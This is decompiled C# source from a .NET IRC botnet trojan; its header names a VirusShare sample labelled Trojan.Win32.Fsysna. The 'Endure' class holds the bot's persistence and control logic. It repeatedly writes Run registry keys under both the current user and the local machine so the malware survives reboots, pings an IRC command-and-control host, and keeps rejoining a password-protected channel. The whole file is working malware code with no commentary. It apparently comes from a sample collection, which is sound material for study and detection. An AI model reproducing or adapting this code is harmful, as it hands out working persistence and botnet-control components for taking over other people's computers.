// Decompiled with JetBrains decompiler // Type: Hearding_Bot.Endure // Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe using Microsoft.Win32; using System; using System.Net.Sockets; using System.Threading; namespace Hearding_Bot { internal class Endure { public static void Begin() { new Thread(new ThreadStart(Endure.preReg)).Start(); new Thread(new ThreadStart(Endure.pingPong)).Start(); new Thread(new ThreadStart(Endure.antiKick)).Start(); } private static void preReg() { label_0: Thread.Sleep(60000); foreach (string startupKey in Config.startupKeys) { RegistryKey subKey = Registry.CurrentUser.CreateSubKey(startupKey); if ((string) subKey.GetValue(Config.startupName, (object) "") == "") subKey.SetValue(Config.startupName, (object) (Config.installPath + Config.installFile)); } foreach (string startupKey in Config.startupKeys) { try { RegistryKey subKey = Registry.LocalMachine.CreateSubKey(startupKey); if ((string) subKey.GetValue(Config.startupName, (object) "") == "") subKey.SetValue(Config.startupName, (object) (Config.installPath + Config.installFile)); } catch (Exception ex) { } } goto label_0; } private static void pingPong() { while (true) { try { Irc.Write("PING :" + Config.ircHost); } catch (Exception ex) { Irc.ircClient = new TcpClient(); Thread.Sleep(8000); Environment.Exit(0); } Thread.Sleep(12000); } } private static void antiKick() { while (true) { Thread.Sleep(120000); Irc.Write("JOIN " + Config.ircChannel + " " + Config.ircChannelPass); } } } }